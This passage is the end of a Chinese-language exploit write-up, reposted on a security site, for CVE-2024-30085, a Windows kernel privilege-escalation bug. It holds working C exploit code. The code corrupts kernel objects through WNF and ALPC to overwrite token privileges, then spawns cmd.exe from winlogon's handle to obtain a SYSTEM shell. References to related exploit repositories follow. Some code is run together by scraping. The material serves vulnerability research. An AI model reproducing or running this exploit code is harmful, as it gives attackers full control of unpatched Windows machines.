printf("[+] Using WNF object 1 to overwrite KALPC_RESERVEn");memset(StateData, 0x0sizeof(StateData)); memset(StateData, 0x480x200); // Just so that it is easier to see the object    *(unsigned long long *)(StateData + 0xff0) = (unsigned long long)fakeKalpcReserve;    state = NtUpdateWnfStateData(&StateNames[CorruptedWNFidx], StateData, 0xff8, NULL, NULL, 0xcafe, NULL);     printf("[+] Overwriting token privsn");     ULONG DataLength = 0x10; ALPC_MESSAGE* alpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE));    memset(alpcMessage, 0, sizeof(ALPC_MESSAGE));    alpcMessage->PortHeader.u1.s1.DataLength = DataLength;    alpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;    alpcMessage->PortHeader.MessageId = (ULONG)g_hResource; ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)alpcMessage + sizeof(PORT_MESSAGE));    pAlpcMsgData[0] = 0xffffffffffffffff;    pAlpcMsgData[1] = 0xffffffffffffffff;    for (int i = 0; i < portsCount; i++) {        ret = NtAlpcSendWaitReceivePort(ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)alpcMessage, NULL, NULL, NULL, NULL, NULL);    }

完成这些之后,我们只需要找到 winlogon 进程的 PID,获取该进程的句柄,然后使用该句柄创建一个 cmd.exe 进程,就可以获得一个 NT AUTHORITYSYSTEM 权限的 shell!

    // Find PID of winlogon    PROCESSENTRY32 entry;    entry.dwSize = sizeof(PROCESSENTRY32);    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    HANDLE winlogon_process = 0if (Process32First(snapshot, &entry) == TRUE) {while (Process32Next(snapshot, &entry) == TRUE) {if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0) {                  winlogon_process = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, entry.th32ProcessID);printf("[+] Found winlogon: 0x%lxn", winlogon_process);             }        }    }printf("[+] SHELLZn");    CreateProcessFromHandle(winlogon_process);

漏洞利用演示

以下是漏洞利用程序运行时的效果:

漏洞利用源代码可以在这里获取。

参考资料

  1. Windows Cloud Filter API documentation: https://learn.microsoft.com/en-us/windows/win32/api/_cloudapi/
  2. Placeholder files: https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/placeholders
  3. Reparse points: https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/reparse-points
  4. Windows structs: https://www.vergiliusproject.com/
  5. Cloud filter reparse data structs: https://github.com/ladislav-zezula/FileTest/blob/master/ReparseDataHsm.h
  6. ALPC technique by Xu, Song and Li: https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Xu-The-Next-Generation-of-Windows-Exploitation-Attacking-the-Common-Log-File-System.pdf
  7. PipeAttribute technqiue by Bayet and Fariello: https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
  8. Windows kernel heap by Angelboy: https://speakerdeck.com/scwuaptx/windows-kernel-heap-segment-heap-in-windows-kernel-part-1
  9. Exploitation of CVE-2023-36424 using ALPC and PipeAttributes, and for ALPC heap spray code: https://github.com/zerozenxlabs/CVE-2023-36424
  10. WNF heap spray: https://www.cnblogs.com/feizianquan/p/16089929.html
  11. Spawning process from handle: https://github.com/varwara/CVE-2024-35250/blob/main/CVE-2024-35250.cpp

原文始发于微信公众号(securitainment):我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月12日21:15:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物https://cn-sec.com/archives/3622961.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息